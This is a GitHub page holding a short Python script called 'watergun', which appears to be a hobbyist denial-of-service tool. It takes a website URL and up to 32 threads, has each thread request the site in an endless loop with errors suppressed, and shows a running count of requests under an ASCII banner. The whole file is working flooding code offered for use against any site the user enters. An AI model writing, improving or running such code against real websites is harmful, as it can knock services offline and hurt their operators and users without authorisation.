-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwatergun.4.5.5.py
42 lines (42 loc) · 1.15 KB
/
watergun.4.5.5.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from urllib.request import urlopen
from os import system
from time import sleep
from readchar import readchar
import threading
w=input('Enter website url: ')
t=int(input('Select amount of threads to use: '))
at=0
def dos():
while True:
try:
global at
at=at+1
urlopen(w)
except:
pass
def atc():
while True:
system('cls')
print('''
__ __ _
\ \ / /_ _| |_ ___ _ __ __ _ _ _ _ __
\ \ /\ / / _` | __/ _ \ '__/ _` | | | | '_ \
\ V V / (_| | || __/ | | (_| | |_| | | | |
\_/\_/ \__,_|\__\___|_| \__, |\__,_|_| |_|
|___/
''');
print(at, 'Requests sent')
sleep(0.5)
if t<33:
if t<1:
print('Error: can\'t use less than 1 thread')
readchar.readchar()
else:
x = threading.Thread(target=atc)
x.start()
for x in range(t):
x = threading.Thread(target=dos)
x.start()
else:
print('Error: can\'t use more than 32 threads')
readchar()